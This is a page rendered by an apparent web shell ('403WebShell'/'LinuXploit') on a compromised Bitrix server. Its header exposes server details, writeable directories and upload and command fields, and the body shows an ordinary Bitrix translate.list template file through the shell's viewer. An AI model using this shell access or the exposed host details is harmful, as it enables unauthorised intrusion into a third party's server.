%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.147.46.181
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/translate.list/templates/.default/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/translate.list/templates/.default//template.php
<?php
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}
/**
 * @var array $arParams
 * @var array $arResult
 * @global \CMain $APPLICATION
 * @var \CBitrixComponentTemplate $this
 * @var \TranslateListComponent $component
 */

use Bitrix\Main;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\Web\Json;
use Bitrix\Translate;

//$isBitrix24Template = SITE_TEMPLATE_ID === "bitrix24";
$isAjax = $arResult['IS_AJAX_REQUEST'];



if (!$isAjax)
{
	?>
	<div class="adm-toolbar-panel-container">
		<?
		if (count($arResult['INIT_FOLDERS']) > 1)
		{
			?>
			<div class="adm-toolbar-panel-align-left" title="<?= Loc::getMessage('TR_STARTING_PATH') ?>">
				<button id="bx-translate-init-folder" class="ui-btn ui-btn-default ui-btn-dropdown ui-btn-split ui-btn-icon-lock">
					<?//= htmlspecialcharsbx($arResult['STARTING_PATH']) ?>
				</button>
			</div>
			<?
		}
		?>
		<div class="adm-toolbar-panel-flexible-space">
		<?

	$APPLICATION->IncludeComponent(
		'bitrix:main.ui.filter',
		'',
		array(
			'COMPACT_STATE' => true,
			'DISABLE_SEARCH' => false,
			'GRID_ID' => $arParams['GRID_ID'],
			'FILTER_ID' => $arParams['FILTER_ID'],
			'FILTER' => $arResult['FILTER_DEFINITION'],
			'FILTER_PRESETS' => $arResult['FILTER_PRESETS'],
			'ENABLE_LIVE_SEARCH' => false,
			'ENABLE_LABEL' => true,
			'RESET_TO_DEFAULT_MODE' => false,
			'MESSAGES' => array(
				'MAIN_UI_FILTER__PLACEHOLDER' => Loc::getMessage('TRANS_PATH'),
				'MAIN_UI_FILTER__PLACEHOLDER_DEFAULT' => Loc::getMessage('TRANS_PATH_SEARCH'),
			),
		),
		$component,
		array('HIDE_ICONS' => 'Y')
	);

	// view mode
	$showCountPhrases = $arParams['SHOW_COUNT_PHRASES'];
	$showCountFiles = $arParams['SHOW_COUNT_FILES'];
	$showUntranslatedPhrases = $arParams['SHOW_UNTRANSLATED_PHRASES'];
	$showUntranslatedFiles = $arParams['SHOW_UNTRANSLATED_FILES'];

	if ($showCountFiles)
	{
		$dataTitle = Loc::getMessage('TR_INDEX_VIEW_MODE_TITLE_COUNT_FILES');
	}
	elseif ($showUntranslatedPhrases)
	{
		$dataTitle = Loc::getMessage('TR_INDEX_VIEW_MODE_TITLE_UNTRANSLATED');
	}
	elseif ($showUntranslatedFiles)
	{
		$dataTitle = Loc::getMessage('TR_INDEX_VIEW_MODE_TITLE_UNTRANSLATED_FILES');
	}
	else // $showCountPhrases
	{
		$dataTitle = Loc::getMessage('TR_INDEX_VIEW_MODE_TITLE_COUNT_PHRASES');
	}

	?>
		</div>
		<div class="adm-toolbar-panel-align-right">
			<button id="bx-translate-mode-menu-view-anchor" class="ui-btn ui-btn-dropdown ui-btn-default">
				<?= $dataTitle ?>
			</button>
			<button onclick="BX.UI.StepProcessing.ProcessManager.get('index').showDialog()" class="ui-btn ui-btn-primary ui-btn-icon-task">
				<?= Loc::getMessage('TR_LIST_REFRESH_INDEX') ?>
			</button>
			<button id="bx-translate-extra-menu-anchor" class="ui-btn ui-btn-default ui-btn-icon-download"></button>
		</div>
	</div>
	<?

	foreach ($arResult['FILTER_DEFINITION'] as $fieldName => $fieldDef)
	{
		if ($fieldDef['type'] === 'list' && isset($fieldDef['group_values']))
		{
			?>
			<script type="text/javascript">
				BX.ready(function () {

					BX.addCustomEvent(window, 'UI::Select::change', BX.delegate(function (select, data) {

						this.radioOnMultiple(
							select,
							data,
							'<?= $fieldName ?>',
							<?= Json::encode($fieldDef['group_values']) ?>
						);

					}, BX.Translate.PathList));

				});
			</script>
			<?
		}
	}
}

if (!empty($arResult['ERROR_MESSAGE']))
{
	?>
	<div class="ui-alert ui-alert-danger ui-alert-icon-danger">
		<span class="ui-alert-message"><?= $arResult['ERROR_MESSAGE'] ?></span>
	</div>
	<?
}
elseif (!empty($arResult['WARNING_MESSAGE']))
{
	?>
	<div class="ui-alert ui-alert-warning ui-alert-icon-warning">
		<span class="ui-alert-message"><?= $arResult['WARNING_MESSAGE'] ?></span>
	</div>
	<?
}

$pageNav = array(
	'SHOW_MORE_BUTTON' => true,
	'NAV_OBJECT' => $arResult['NAV_OBJECT'],
	'TOTAL_ROWS_COUNT' => $arResult['TOTAL_ROWS_COUNT'],
	'CURRENT_PAGE' => $arResult['CURRENT_PAGE'],
	'DEFAULT_PAGE_SIZE' => 20,
	'PAGE_SIZES' => array(
		array('NAME' => '20', 'VALUE' => '20'),
		array('NAME' => '50', 'VALUE' => '50'),
		array('NAME' => '100', 'VALUE' => '100'),
		array('NAME' => '200', 'VALUE' => '200'),
		array('NAME' => '300', 'VALUE' => '300'),
		array('NAME' => '400', 'VALUE' => '400'),
		array('NAME' => '500', 'VALUE' => '500'),
		array('NAME' => '600', 'VALUE' => '600'),
		array('NAME' => '700', 'VALUE' => '700'),
		array('NAME' => '800', 'VALUE' => '800'),
		array('NAME' => '900', 'VALUE' => '900'),
	),
	'SHOW_PAGINATION' => true,
	'SHOW_PAGESIZE' => true,
);


$APPLICATION->IncludeComponent(
	'bitrix:main.ui.grid',
	'',
	array_merge(array(
		'GRID_ID' => $arParams['GRID_ID'],
		'HEADERS' => $arResult['HEADERS'],
		'SORT' => isset($arResult['SORT']) ? $arResult['SORT'] : array('TITLE' => 'asc'),
		'ROWS' => isset($arResult['GRID_DATA']) ? $arResult['GRID_DATA'] : array(),

		'AJAX_MODE' => 'Y',
		'AJAX_OPTION_JUMP' => 'N',
		'AJAX_OPTION_STYLE' => 'N',
		'AJAX_OPTION_HISTORY' => 'N',

		'DISABLE_HEADERS_TRANSFORM' => false,
		'ALLOW_STICKED_COLUMNS' => false,
		'ALLOW_COLUMNS_SORT' => true,
		'ALLOW_ROWS_SORT' => false,
		'ALLOW_COLUMNS_RESIZE' => true,
		'ALLOW_HORIZONTAL_SCROLL' => true,
		'ALLOW_SORT' => $arResult['ALLOW_SORT'],
		'ALLOW_PIN_HEADER' => true,

		'SHOW_ACTION_PANEL' => true,
		'ACTION_PANEL' => $arResult['GROUP_ACTIONS'],

		'SHOW_CHECK_ALL_CHECKBOXES' => true,
		'SHOW_ROW_CHECKBOXES' => true,
		'SHOW_ROW_ACTIONS_MENU' => true,
		'SHOW_GRID_SETTINGS_MENU' => true,
		'SHOW_NAVIGATION_PANEL' => true,
		'SHOW_PAGINATION' => true,
		'SHOW_SELECTED_COUNTER' => true,
		'SHOW_TOTAL_COUNTER' => true,
		'SHOW_PAGESIZE' => false,

		'ENABLE_COLLAPSIBLE_ROWS' => false,

	), $pageNav),
	$component,
	array('HIDE_ICONS' => 'Y')
);

if (!$isAjax)
{
	?>
	<script type="text/javascript">
		BX.ready(function () {

			BX.Translate.PathList.init(<?=Json::encode(array(
				"tabId" => (string)$arParams['TAB_ID'],
				"gridId" => $arParams['GRID_ID'],
				"filterId" => $arParams['FILTER_ID'],
				'mode' => ((defined('ADMIN_SECTION') && ADMIN_SECTION === true) ? 'admin' : 'public'),
				"actionMode" => $arResult['ACTION'],
				'relUrl' => $arParams['LIST_PATH'],
				'defaults' => [
					'initFolders' => $arResult['INIT_FOLDERS'],
					'startingPath' => $arResult['STARTING_PATH'],
				],
				'messages' => [
					'AuthError' => Loc::getMessage('main_include_decode_pass_sess'),
					'ViewModeMenuCountPhrases' => Loc::getMessage("TR_INDEX_VIEW_MODE_MENU_COUNT_PHRASES"),
					'ViewModeTitleCountPhrases' => Loc::getMessage('TR_INDEX_VIEW_MODE_TITLE_COUNT_PHRASES'),
					'ViewModeMenuCountFiles' => Loc::getMessage("TR_INDEX_VIEW_MODE_MENU_COUNT_FILES"),
					'ViewModeTitleCountFiles' => Loc::getMessage('TR_INDEX_VIEW_MODE_TITLE_COUNT_FILES'),
					'ViewModeMenuUntranslatedPhrases' => Loc::getMessage("TR_INDEX_VIEW_MODE_MENU_UNTRANSLATED"),
					'ViewModeTitleUntranslatedPhrases' => Loc::getMessage('TR_INDEX_VIEW_MODE_TITLE_UNTRANSLATED'),
					'ViewModeMenuUntranslatedFiles' => Loc::getMessage("TR_INDEX_VIEW_MODE_MENU_UNTRANSLATED_FILES"),
					'ViewModeTitleUntranslatedFiles' => Loc::getMessage('TR_INDEX_VIEW_MODE_TITLE_UNTRANSLATED_FILES'),
					'ViewModeMenuHideEmptyFolders' => Loc::getMessage("TR_INDEX_VIEW_MODE_MENU_EMPTY_FOLDERS"),
					'ViewModeMenuShowDiffLinks' => Loc::getMessage("TR_INDEX_VIEW_MODE_MENU_DIFF_LINKS"),
				],
				'viewMode' => $arParams['VIEW_MODE'],
				'extraMenuItems' => [
					[
						'id' => 'translate-export-csv',
						'text' => Loc::getMessage("TR_LIST_EXPORT_CSV"),
						'onclick' => "BX.Translate.PathList.ExportMenuSelector();",
					],
					[
						'id' => 'translate-import-csv',
						'text' => Loc::getMessage("TR_LIST_IMPORT_CSV"),
						'onclick' => "BX.UI.StepProcessing.ProcessManager.get('import').showDialog();",
					],
				],
			))?>);

			BX.Translate.PathList.ExportMenuSelector = function()
			{
				switch (BX.Translate.PathList.getActionMode())
				{
					case '<?= \TranslateListComponent::ACTION_SEARCH_FILE ?>':
						BX.UI.StepProcessing.ProcessManager.get('exportSearch').showDialog();
						break;

					case '<?= \TranslateListComponent::ACTION_SEARCH_PHRASE ?>':
						BX.UI.StepProcessing.ProcessManager.get('exportSearch').showDialog();
						break;

					default:
						BX.UI.StepProcessing.ProcessManager.get('export').showDialog();
				}
			};

			if (BX.Translate.PathList.getFilter())
			{
				BX.Translate.PathList.getFilter().getSearch().setInputPlaceholder("<?= Loc::getMessage('TRANS_PATH_SEARCH') ?>");
				BX.Translate.PathList.getFilter().getSearch().input.value = "<?= \CUtil::JSEscape($arResult['PATH']) ?>";
			}
			if (BX.Translate.PathList.getGrid())
			{
				BX.Translate.PathList.getGrid().baseUrl = "<?= \CUtil::JSEscape($arParams['LIST_PATH']) ?>";
			}

			// clearEthalon
			BX.UI.StepProcessing.ProcessManager.create(<?=Json::encode([
				'id' => 'clearEthalon',
				'controller' => 'bitrix:translate.controller.editor.file',
				'messages' => [
					'DialogTitle' => Loc::getMessage("TR_CLEAR_DLG_TITLE"),
					'DialogSummary' => Loc::getMessage("TR_CLEAR_DLG_SUMMARY"),
					'DialogStartButton' => Loc::getMessage('TR_DLG_BTN_START'),
					'DialogStopButton' => Loc::getMessage('TR_DLG_BTN_STOP'),
					'DialogCloseButton' => Loc::getMessage('TR_DLG_BTN_CLOSE'),
					'RequestCanceling' => Loc::getMessage('TR_DLG_REQUEST_CANCEL'),
					'RequestCanceled' => Loc::getMessage('TR_CLEAR_DLG_CANCELED'),
					'RequestCompleted' => Loc::getMessage('TR_CLEAR_DLG_COMPLETED'),
				],
				'queue' => [
					[
						'controller' => 'bitrix:translate.controller.index.collector',
						'action' => Translate\Controller\Index\Collector::ACTION_COLLECT_LANG_PATH,
						'title' => Loc::getMessage('TR_INDEX_ACTION_COLLECT_LANG_PATH', ['#NUM#' => 1, '#LEN#' => 3]),
						'params' => ['checkIndexExists' => 'Y'],
						'progressBarTitle' => Loc::getMessage('TR_INDEX_ACTION_COLLECT_LANG_PATH_PROGRESS'),
					],
					[
						'controller' => 'bitrix:translate.controller.editor.file',
						'action' => Translate\Controller\Editor\File::ACTION_CLEAN_ETHALON,
						'title' => Loc::getMessage('TR_CLEAR_ACTION_CLEARING', ['#NUM#' => 2, '#LEN#' => 3]),
						'progressBarTitle' => Loc::getMessage('TR_CLEAR_PROGRESS'),
					],
					[
						'controller' => 'bitrix:translate.controller.editor.file',
						'action' => Translate\Controller\Editor\File::ACTION_WIPE_EMPTY,
						'title' => Loc::getMessage('TR_CLEAR_ACTION_WIPE_EMPTY', ['#NUM#' => 3, '#LEN#' => 3]),
						'progressBarTitle' => Loc::getMessage('TR_CLEAR_PROGRESS'),
					],
				],
				'params' => [
					'path' => $arResult['PATH'],
				],
			])?>)
				.setHandler(
					BX.UI.StepProcessing.ProcessCallback.StateChanged,
					function (state, result)
					{
						/** @type {BX.UI.StepProcessing.Process} this */
						if (state === BX.UI.StepProcessing.ProcessResultStatus.completed)
						{
							BX.Translate.PathList.reloadGrid();
							this.closeDialog();
						}
					}
				);

			BX.Translate.PathList.addGroupAction(
				'<?= Translate\Controller\Editor\File::ACTION_CLEAN_ETHALON ?>',
				function(pathList)
				{
					pathList = pathList.filter(function (p){
						return p !== null && p !== "";
					});
					var process = BX.UI.StepProcessing.ProcessManager.get('clearEthalon');
					process
						.setParam('pathList', pathList.join("\r\n"))
						.showDialog();
				}
			);

			// index
			BX.UI.StepProcessing.ProcessManager.create(<?=Json::encode([
				'id' => 'index',
				'controller' => 'bitrix:translate.controller.index.collector',
				'messages' => [
					'DialogTitle' => Loc::getMessage("TR_INDEX_DLG_TITLE"),
					'DialogSummary' => Loc::getMessage("TR_INDEX_DLG_SUMMARY"),
					'DialogStartButton' => Loc::getMessage('TR_DLG_BTN_START'),
					'DialogStopButton' => Loc::getMessage('TR_DLG_BTN_STOP'),
					'DialogCloseButton' => Loc::getMessage('TR_DLG_BTN_CLOSE'),
					'RequestCanceling' => Loc::getMessage('TR_DLG_REQUEST_CANCEL'),
					'RequestCanceled' => Loc::getMessage('TR_INDEX_DLG_CANCELED'),
					'RequestCompleted' => Loc::getMessage('TR_INDEX_DLG_COMPLETED'),
				],
				'queue' => [
					[
						'action' => Translate\Controller\Index\Collector::ACTION_COLLECT_LANG_PATH,
						'title' => Loc::getMessage('TR_INDEX_ACTION_COLLECT_LANG_PATH', ['#NUM#' => 1, '#LEN#' => 4]),
						'progressBarTitle' => Loc::getMessage('TR_INDEX_ACTION_COLLECT_LANG_PATH_PROGRESS'),
					],
					[
						'action' => Translate\Controller\Index\Collector::ACTION_COLLECT_PATH,
						'title' => Loc::getMessage('TR_INDEX_ACTION_COLLECT_PATH', ['#NUM#' => 2, '#LEN#' => 4]),
						'progressBarTitle' => Loc::getMessage('TR_INDEX_ACTION_COLLECT_PATH_PROGRESS'),
					],
					[
						'action' => Translate\Controller\Index\Collector::ACTION_COLLECT_FILE,
						'title' => Loc::getMessage('TR_INDEX_ACTION_COLLECT_FILE', ['#NUM#' => 3, '#LEN#' => 4]),
						'progressBarTitle' => Loc::getMessage('TR_INDEX_ACTION_COLLECT_FILE_PROGRESS'),
					],
					[
						'action' => Translate\Controller\Index\Collector::ACTION_COLLECT_PHRASE,
						'title' => Loc::getMessage('TR_INDEX_ACTION_COLLECT_PHRASE', ['#NUM#' => 4, '#LEN#' => 4]),
						'progressBarTitle' => Loc::getMessage('TR_INDEX_ACTION_COLLECT_PHRASE_PROGRESS'),
					]
				],
				'params' => [
					'path' => $arResult['PATH'],
				],
				'optionsFields' => [
					'languages' => [
						'name' => 'languages',
						'type' => 'select',
						'multiple' => true,
						'size' => (count($arResult['LANGUAGES_TITLE']) >= 10 ? '10' : count($arResult['LANGUAGES_TITLE']) + 1),
						'title' => Loc::getMessage('TR_INDEX_DLG_PARAM_LANGUAGES'),
						'list' => array_merge(['all' => Loc::getMessage('TR_EXPORT_CSV_PARAM_LANGUAGES_ALL')], $arResult['LANGUAGES_TITLE']),
						'value' => 'all',
					],
				]
			])?>)
				.setHandler(
					BX.UI.StepProcessing.ProcessCallback.StateChanged,
					function (state, result)
					{
						/** @type {BX.UI.StepProcessing.Process} this */
						if (state === BX.UI.StepProcessing.ProcessResultStatus.completed)
						{
							BX.Translate.PathList.reloadGrid();
							this.closeDialog();
						}
					}
				);

			//export
			BX.UI.StepProcessing.ProcessManager.create(<?=Json::encode([
				'id' => 'export',
				'controller' => 'bitrix:translate.controller.export.csv',
				'messages' => [
					'DialogTitle' => Loc::getMessage("TR_EXPORT_CSV_DLG_TITLE"),
					'DialogSummary' => Loc::getMessage("TR_EXPORT_CSV_DLG_SUMMARY"),
					'DialogStartButton' => Loc::getMessage('TR_EXPORT_CSV_DLG_BTN_START'),
					'DialogStopButton' => Loc::getMessage('TR_DLG_BTN_STOP'),
					'DialogCloseButton' => Loc::getMessage('TR_DLG_BTN_CLOSE'),
					'RequestCanceling' => Loc::getMessage('TR_DLG_REQUEST_CANCEL'),
					'RequestCanceled' => Loc::getMessage('TR_EXPORT_CSV_DLG_CANCELED'),
					'RequestCompleted' => Loc::getMessage('TR_EXPORT_CSV_DLG_COMPLETED'),
					'DialogExportDownloadButton' => Loc::getMessage('TR_EXPORT_DLG_DOWNLOAD'),
					'DialogExportClearButton' => Loc::getMessage('TR_EXPORT_DLG_CLEAR'),
				],
				'queue' => [
					[
						'controller' => 'bitrix:translate.controller.index.collector',
						'action' => Translate\Controller\Index\Collector::ACTION_COLLECT_LANG_PATH,
						'title' => Loc::getMessage('TR_INDEX_ACTION_COLLECT_LANG_PATH', ['#NUM#' => 1, '#LEN#' => 2]),
						'params' => ['checkIndexExists' => 'Y'],
						'progressBarTitle' => Loc::getMessage('TR_INDEX_ACTION_COLLECT_LANG_PATH_PROGRESS'),
					],
					[
						'controller' => 'bitrix:translate.controller.export.csv',
						'action' => Translate\Controller\Export\Csv::ACTION_EXPORT,
						'title' => Loc::getMessage('TR_EXPORT_CSV_DLG_TITLE', ['#NUM#' => 2, '#LEN#' => 2]),
						'progressBarTitle' => Loc::getMessage('TR_EXPORT_CSV_PROGRESS'),
					],
				],
				'params' => [
					'path' => $arResult['PATH'],
				],
				'optionsFields' => [
					'collectUntranslated' => [
						'name' => 'collectUntranslated',
						'type' => 'checkbox',
						'title' => Loc::getMessage('TR_EXPORT_CSV_PARAM_UNTRANSLATED'),
						'value' => 'N'
					],
					'convertEncoding' => [
						'name' => 'convertEncoding',
						'type' => 'checkbox',
						'title' => Loc::getMessage('TR_EXPORT_CSV_PARAM_CONVERT_UTF8'),
						'value' => ((Main\Localization\Translation::useTranslationRepository() || Translate\Config::isUtfMode()) ? 'Y' : 'N'),
					],
					'languages' => [
						'name' => 'languages',
						'type' => 'select',
						'multiple' => true,
						'size' => (count($arResult['LANGUAGES_TITLE']) >= 10 ? '10' : count($arResult['LANGUAGES_TITLE']) + 1),
						'title' => Loc::getMessage('TR_EXPORT_CSV_PARAM_LANGUAGES'),
						'list' => array_merge(['all' => Loc::getMessage('TR_EXPORT_CSV_PARAM_LANGUAGES_ALL')], $arResult['LANGUAGES_TITLE']),
						'value' => 'all',
					],
					'pathList' => [
						'name' => 'pathList',
						'type' => 'text',
						'size' => 10,
						'title' => Loc::getMessage('TR_EXPORT_CSV_PARAM_FILE_LIST'),
					],
				]
			])?>);

			BX.Translate.PathList.addGroupAction(
				'<?= Translate\Controller\Export\Csv::ACTION_EXPORT_PATH ?>',
				function(pathList, codeList)
				{
					pathList = pathList.filter(function (p){
						return p !== null && p !== "";
					});
					codeList = codeList.filter(function (c){
						return c !== null && c !== "";
					});

					var pathCodeList = [];
					for (var i = 0; i < pathList.length; i++)
					{
						pathCodeList.push(pathList[i] + "::" + codeList[i]);
					}

					var process = BX.UI.StepProcessing.ProcessManager.get('export');
					if (process)
					{
						process
							//.setParam('codeList', codeList.join("\r\n"))
							.setParam('codeList', pathCodeList.join("\r\n"))
							.showDialog();

						var field = process.getDialog().getOptionField('pathList');
						if (field)
						{
							pathList = pathList.filter((p, i, arr) => arr.indexOf(p) === i);
							field.setValue(pathList.join("\r\n"));
						}
					}
				}
			);

			//export search
			BX.UI.StepProcessing.ProcessManager.create(<?=Json::encode([
				'id' => 'exportSearch',
				'controller' => 'bitrix:translate.controller.export.csv',
				'messages' => [
					'DialogTitle' => Loc::getMessage("TR_EXPORT_CSV_DLG_TITLE"),
					'DialogSummary' => Loc::getMessage("TR_EXPORT_CSV_DLG_SUMMARY"),
					'DialogStartButton' => Loc::getMessage('TR_EXPORT_CSV_DLG_BTN_START'),
					'DialogStopButton' => Loc::getMessage('TR_DLG_BTN_STOP'),
					'DialogCloseButton' => Loc::getMessage('TR_DLG_BTN_CLOSE'),
					'RequestCanceling' => Loc::getMessage('TR_DLG_REQUEST_CANCEL'),
					'RequestCanceled' => Loc::getMessage('TR_EXPORT_CSV_DLG_CANCELED'),
					'RequestCompleted' => Loc::getMessage('TR_EXPORT_CSV_DLG_COMPLETED'),
					'DialogExportDownloadButton' => Loc::getMessage('TR_EXPORT_DLG_DOWNLOAD'),
					'DialogExportClearButton' => Loc::getMessage('TR_EXPORT_DLG_CLEAR'),
				],
				'queue' => [
					[
						'controller' => 'bitrix:translate.controller.export.csv',
						'action' => Translate\Controller\Export\Csv::ACTION_EXPORT,
						'title' => Loc::getMessage('TR_EXPORT_CSV_DLG_TITLE', ['#NUM#' => 2, '#LEN#' => 2]),
						'progressBarTitle' => Loc::getMessage('TR_EXPORT_CSV_PROGRESS'),
					],
				],
				'params' => [
					'path' => $arResult['PATH'],
				],
				'optionsFields' => [
					'collectUntranslated' => [
						'name' => 'collectUntranslated',
						'type' => 'checkbox',
						'title' => Loc::getMessage('TR_EXPORT_CSV_PARAM_UNTRANSLATED'),
						'value' => 'N'
					],
					'convertEncoding' => [
						'name' => 'convertEncoding',
						'type' => 'checkbox',
						'title' => Loc::getMessage('TR_EXPORT_CSV_PARAM_CONVERT_UTF8'),
						'value' => ((Main\Localization\Translation::useTranslationRepository() || Translate\Config::isUtfMode()) ? 'Y' : 'N'),
					],
					'languages' => [
						'name' => 'languages',
						'type' => 'select',
						'multiple' => true,
						'size' => (count($arResult['LANGUAGES_TITLE']) >= 10 ? '10' : count($arResult['LANGUAGES_TITLE']) + 1),
						'title' => Loc::getMessage('TR_EXPORT_CSV_PARAM_LANGUAGES'),
						'list' => array_merge(['all' => Loc::getMessage('TR_EXPORT_CSV_PARAM_LANGUAGES_ALL')], $arResult['LANGUAGES_TITLE']),
						'value' => 'all',
					],
				]
			])?>);


			//import
			<?
			$isUtfMode = Translate\Config::isUtfMode();
			$useTranslationRepository = Main\Localization\Translation::useTranslationRepository();

			$encodings = array();
			$allowedEncodings = Translate\Config::getAllowedEncodings();
			foreach ($allowedEncodings as $enc)
			{
				$encodings[$enc] = Translate\Config::getEncodingName($enc);
			}
			?>
			BX.UI.StepProcessing.ProcessManager.create(<?=Json::encode([
				'id' => 'import',
				'controller' => 'bitrix:translate.controller.import.csv',
				'messages' => [
					'DialogTitle' => Loc::getMessage("TR_IMPORT_DLG_TITLE"),
					'DialogSummary' => Loc::getMessage("TR_IMPORT_CSV_DLG_SUMMARY"),
					'DialogStartButton' => Loc::getMessage('TR_IMPORT_CSV_DLG_BTN_START'),
					'DialogStopButton' => Loc::getMessage('TR_DLG_BTN_STOP'),
					'DialogCloseButton' => Loc::getMessage('TR_DLG_BTN_CLOSE'),
					'RequestCanceling' => Loc::getMessage('TR_DLG_REQUEST_CANCEL'),
					'RequestCanceled' => Loc::getMessage('TR_IMPORT_CSV_DLG_CANCELED'),
					'RequestCompleted' => Loc::getMessage('TR_IMPORT_CSV_DLG_COMPLETED'),
				],
				'queue' => [
					[
						'action' => Translate\Controller\Import\Csv::ACTION_UPLOAD,
						'title' => Loc::getMessage('TR_IMPORT_ACTION_UPLOAD', ['#NUM#' => 1, '#LEN#' => 3]),
						'progressBarTitle' => Loc::getMessage('TR_IMPORT_ACTION_UPLOAD_PROGRESS'),
					],
					[
						'action' => Translate\Controller\Import\Csv::ACTION_IMPORT,
						'title' => Loc::getMessage('TR_IMPORT_CSV_DLG_TITLE', ['#NUM#' => 2, '#LEN#' => 3]),
						'progressBarTitle' => Loc::getMessage('TR_IMPORT_CSV_PROGRESS'),
					],
					[
						'action' => Translate\Controller\Import\Csv::ACTION_INDEX,
						'title' => Loc::getMessage('TR_INDEX_CSV_DLG_TITLE', ['#NUM#' => 3, '#LEN#' => 3]),
						'progressBarTitle' => Loc::getMessage('TR_INDEX_CSV_PROGRESS'),
					],
					[
						'action' => Translate\Controller\Import\Csv::ACTION_FINALIZE,
						'finalize' => true,
					],
				],
				'params' => [
					'path' => $arResult['PATH'],
				],
				'optionsFields' => [
					'csvFile' => [
						'name' => 'csvFile',
						'type' => 'file',
						'title' => Loc::getMessage('TR_UPLOAD_CSV_FILE'),
						'obligatory' => true,
						'emptyMessage' => Loc::getMessage('TR_UPLOAD_CSV_FILE_EMPTY_ERROR'),
					],

					'encodingIn' => (!$isUtfMode && !$useTranslationRepository ?
						[
							'name' => 'encodingIn',
							'type' => 'checkbox',
							'title' => Loc::getMessage('TR_CONVERT_FROM_UTF8'),
							'value' => 'utf-8'
						]
						:
						[
							'name' => 'encodingIn',
							'type' => 'select',
							'title' => Loc::getMessage('TR_CONVERT_ENCODING'),
							'list' => $encodings,
							'value' => Main\Localization\Translation::getCurrentEncoding(),
						]
					),

					'updateMethod' => [
						'name' => 'updateMethod',
						'type' => 'radio',
						'title' => Loc::getMessage('TR_IMPORT_UPDATE_METHOD'),
						'list' => [
							Translate\Controller\Import\Csv::METHOD_ADD_ONLY => Loc::getMessage('TR_NO_REWRITE_LANG_FILES'),
							Translate\Controller\Import\Csv::METHOD_UPDATE_ONLY => Loc::getMessage('TR_UPDATE_LANG_FILES'),
							Translate\Controller\Import\Csv::METHOD_ADD_UPDATE => Loc::getMessage('TR_ADD_UPDATE_LANG_FILES'),
						],
						'value' => Translate\Controller\Import\Csv::METHOD_ADD_ONLY,
					],

					'reindex' => [
						'name' => 'reindex',
						'type' => 'checkbox',
						'title' => Loc::getMessage('TR_REINDEX'),
						'value' => 'Y',
					],
				]
			])?>)
				.setHandler(
					BX.UI.StepProcessing.ProcessCallback.StateChanged,
					function (state, result)
					{
						/** @type {BX.UI.StepProcessing.Process} this */
						if (state === BX.UI.StepProcessing.ProcessResultStatus.completed)
						{
							var dialog = this.getDialog();
							if (dialog)
							{
								var buttons = [];
								buttons.push(new BX.UI.Button({
									text: "<?= Loc::getMessage('TR_IMPORT_CSV_DLG_BTN_MORE') ?>",
									color: BX.UI.Button.Color.SUCCESS,
									icon: BX.UI.Button.Icon.BACK,
									events: {
										click: BX.proxy(function () {
											this.closeDialog();
											this.showDialog();
										}, this)
									}
								}));
								buttons.push(new BX.UI.CancelButton({
									text: "<?= Loc::getMessage('TR_DLG_BTN_CLOSE') ?>",
									color: BX.UI.Button.Color.LINK,
									tag: BX.UI.Button.Tag.SPAN,
									events: {
										click: BX.proxy(function () {
											this.closeDialog();
											BX.Translate.PathList.reloadGrid();
										}, this)
									}
								}));
								dialog.popupWindow.setButtons(buttons);
							}
						}
					}
				);


			// capture file drop event
			var dropContainer = BX("adm-workarea");
			if (dropContainer)
			{
				dropContainer.ondragover = dropContainer.ondragenter = function (evt) {
					evt.preventDefault();
				};
				dropContainer.ondrop = function (evt) {
					try
					{
						var process = BX.UI.StepProcessing.ProcessManager.get('import');
						if (process)
						{
							process.showDialog();

							var fileInput = process.getDialog().getOptionField('csvFile');
							if (fileInput)
							{
								//fileInput.files = evt.dataTransfer.files;
								fileInput.setValue(evt.dataTransfer.files);
							}
						}

						evt.preventDefault();
					} catch (ex)
					{
					}
				};
			}

		});
	</script>
	<?
}


Youez - 2016 - github.com/yon3zu
LinuXploit